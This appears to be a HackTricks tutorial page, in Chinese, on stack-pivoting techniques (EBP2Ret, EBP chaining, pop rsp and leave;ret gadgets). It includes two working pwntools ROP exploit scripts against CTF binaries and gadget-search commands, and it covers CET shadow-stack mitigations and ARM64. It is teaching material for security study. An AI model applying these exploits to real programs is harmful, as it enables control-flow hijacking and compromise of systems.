Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 16 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
此技术利用操控 基指针 (EBP/RBP) 的能力,通过对帧指针和 leave; ret
指令序列的仔细使用,链接多个函数的执行。
作为提醒,在 x86/x86-64 中 leave
等同于:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
并且由于保存的 EBP/RBP 在栈中 位于保存的 EIP/RIP 之前,因此可以通过控制栈来控制它。
注意
- 在 64 位系统中,将 EBP 替换为 RBP,将 ESP 替换为 RSP。语义相同。
- 一些编译器省略了帧指针(参见“EBP 可能未被使用”)。在这种情况下,
leave
可能不会出现,这种技术将无法工作。
EBP2Ret
当你可以 更改保存的 EBP/RBP 但没有直接方法更改 EIP/RIP 时,这种技术特别有用。它利用了函数尾声的行为。
如果在 fvuln
执行期间,你设法在栈中注入一个 伪 EBP,指向内存中你的 shellcode/ROP 链地址所在的区域(在 amd64 上加 8 字节 / 在 x86 上加 4 字节以考虑 pop
),你可以间接控制 RIP。当函数返回时,leave
将 RSP 设置为构造的位置,随后的 pop rbp
减少 RSP,有效地使其指向攻击者存储的地址。然后 ret
将使用该地址。
注意你 需要知道 2 个地址:ESP/RSP 将要去的地址,以及 ret
将消耗的存储在该地址的值。
利用构造
首先,你需要知道一个 可以写入任意数据/地址的地址。RSP 将指向这里并 消耗第一个 ret
。
然后,你需要选择 ret
使用的地址,以 转移执行。你可以使用:
- 一个有效的 ONE_GADGET 地址。
system()
的地址,后面跟着适当的返回和参数(在 x86 上:ret
目标 =&system
,然后 4 个垃圾字节,然后&"/bin/sh"
)。- 一个
jmp esp;
gadget 的地址(ret2esp),后面跟着内联 shellcode。 - 一个在可写内存中分阶段的 ROP 链。
请记住,在这些地址之前,受控区域中必须有 pop ebp/rbp
的空间(amd64 上为 8B,x86 上为 4B)。你可以利用这些字节设置一个 第二个伪 EBP,并在第一次调用返回后保持控制。
Off-By-One 利用
当你 只能修改保存的 EBP/RBP 的最低有效字节 时,会使用一种变体。在这种情况下,存储要跳转到的地址的内存位置必须与原始 EBP/RBP 共享前 3/5 个字节,以便 1 字节的覆盖可以重定向它。通常,低字节(偏移量 0x00)会增加,以尽可能远地跳转到附近的页面/对齐区域。
在栈中使用 RET sled 并将真实的 ROP 链放在末尾也是常见的做法,以使新的 RSP 更有可能指向 sled 内部,并执行最终的 ROP 链。
EBP 链接
通过在栈的保存 EBP
槽中放置一个受控地址,并在 EIP/RIP
中放置一个 leave; ret
gadget,可以 将 ESP/RSP
移动到攻击者控制的地址。
现在 RSP
被控制,下一条指令是 ret
。在受控内存中放置类似以下内容:
&(next fake EBP)
-> 由leave
中的pop ebp/rbp
加载。&system()
-> 由ret
调用。&(leave;ret)
-> 在system
结束后,将 RSP 移动到下一个伪 EBP 并继续。&("/bin/sh")
->system
的参数。
通过这种方式,可以链接多个伪 EBP 来控制程序的流程。
这类似于 ret2lib,但更复杂,仅在边缘情况下有用。
此外,这里有一个 挑战示例,使用这种技术与 栈泄漏 一起调用一个成功的函数。这是页面的最终有效载荷:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 对齐提示:System V ABI 在调用点要求 16 字节的栈对齐。如果你的链调用像
system
这样的函数,请在调用之前添加一个对齐小工具(例如,ret
或sub rsp, 8 ; ret
)以保持对齐并避免movaps
崩溃。
EBP 可能未被使用
正如 在这篇文章中解释的,如果一个二进制文件是使用某些优化或省略帧指针编译的,EBP/RBP 从未控制 ESP/RSP。因此,任何通过控制 EBP/RBP 的利用都会失败,因为序言/尾声不会从帧指针恢复。
- 未优化 / 使用帧指针:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- 优化 / 帧指针省略:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
在amd64上,你通常会看到pop rbp ; ret
而不是leave ; ret
,但如果完全省略了帧指针,那么就没有基于rbp
的尾声可以进行跳转。
控制RSP的其他方法
pop rsp
小工具
在此页面你可以找到使用此技术的示例。对于那个挑战,需要调用一个带有两个特定参数的函数,并且有一个**pop rsp
小工具**,还有一个来自栈的泄漏:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
在这里查看 ret2esp 技术:
快速查找 pivot gadgets
使用您喜欢的 gadget 查找器搜索经典的 pivot 原语:
leave ; ret
在函数或库中pop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(或在 x86 上使用add esp, <imm> ; ret
)
示例:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
经典的透视阶段模式
在许多CTF/漏洞中使用的强大透视策略:
- 使用小的初始溢出调用
read
/recv
到一个大的可写区域(例如,.bss
、堆或映射的RW内存),并将完整的ROP链放置在那里。 - 返回到一个透视小工具(
leave ; ret
、pop rsp
、xchg rax, rsp ; ret
)以将RSP移动到该区域。 - 继续使用分阶段链(例如,泄漏libc,调用
mprotect
,然后read
shellcode,然后跳转到它)。
现代缓解措施破坏堆栈透视(CET/阴影堆栈)
现代x86 CPU和操作系统越来越多地部署 CET阴影堆栈(SHSTK)。启用SHSTK后,ret
会将正常堆栈上的返回地址与硬件保护的阴影堆栈进行比较;任何不匹配都会引发控制保护故障并终止进程。因此,像EBP2Ret/leave;ret基础的透视技术将在从透视堆栈执行第一个ret
时崩溃。
- 有关背景和更深入的细节,请参见:
- 在Linux上的快速检查:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
实验室/CTF 注意事项:
-
一些现代发行版在硬件和 glibc 支持存在时,为启用 CET 的二进制文件启用 SHSTK。对于在虚拟机中的受控测试,可以通过内核启动参数
nousershstk
全局禁用 SHSTK,或在启动时通过 glibc 可调参数选择性启用(参见参考文献)。不要在生产目标上禁用缓解措施。 -
基于 JOP/COOP 或 SROP 的技术在某些目标上仍然可能有效,但 SHSTK 特别破坏了基于
ret
的支点。 -
Windows 注意事项:Windows 10+ 暴露用户模式,Windows 11 添加了基于影子栈的内核模式“硬件强制栈保护”。兼容 CET 的进程在
ret
时防止栈支点/ROP;开发人员通过 CETCOMPAT 和相关策略选择加入(参见参考文献)。
ARM64
在 ARM64 中,函数的 前言和尾声 不在栈中存储和检索 SP 寄存器。此外,RET
指令不会返回到 SP 指向的地址,而是 返回到 x30
内的地址。
因此,默认情况下,仅仅利用尾声你 无法通过覆盖栈中的某些数据来控制 SP 寄存器。即使你设法控制了 SP,你仍然需要一种方法来 控制 x30
寄存器。
- 前言
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP 指向帧记录
- 尾声
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
在 ARM64 中执行类似于栈支点的操作的方法是能够 控制 SP
(通过控制某个寄存器,其值传递给 SP
,或因为某种原因 SP
从栈中获取其地址而我们有溢出),然后 利用尾声 从 受控的 SP
加载 x30
寄存器并 RET
到它。
在以下页面中,你可以看到 Ret2esp 在 ARM64 中的等效物:
参考文献
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 位,溢出一个的利用,使用以 ret sled 开头的 rop 链
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 位,无 relro、canary、nx 和 pie。该程序为栈或 pie 提供了一个泄漏和一个 qword 的 WWW。首先获取栈泄漏,然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用
.fini_array
条目 + 调用__libc_csu_fini
的永恒循环(更多信息在这里)。利用这个“永恒”的写入,在 .bss 中写入一个 ROP 链并最终调用它,使用 RBP 进行支点。 - Linux 内核文档:控制流保护技术(CET)影子栈 — 关于 SHSTK、
nousershstk
、/proc/$PID/status
标志和通过arch_prctl
启用的详细信息。 https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn:内核模式硬件强制栈保护(Windows 上的 CET 影子栈)。 https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。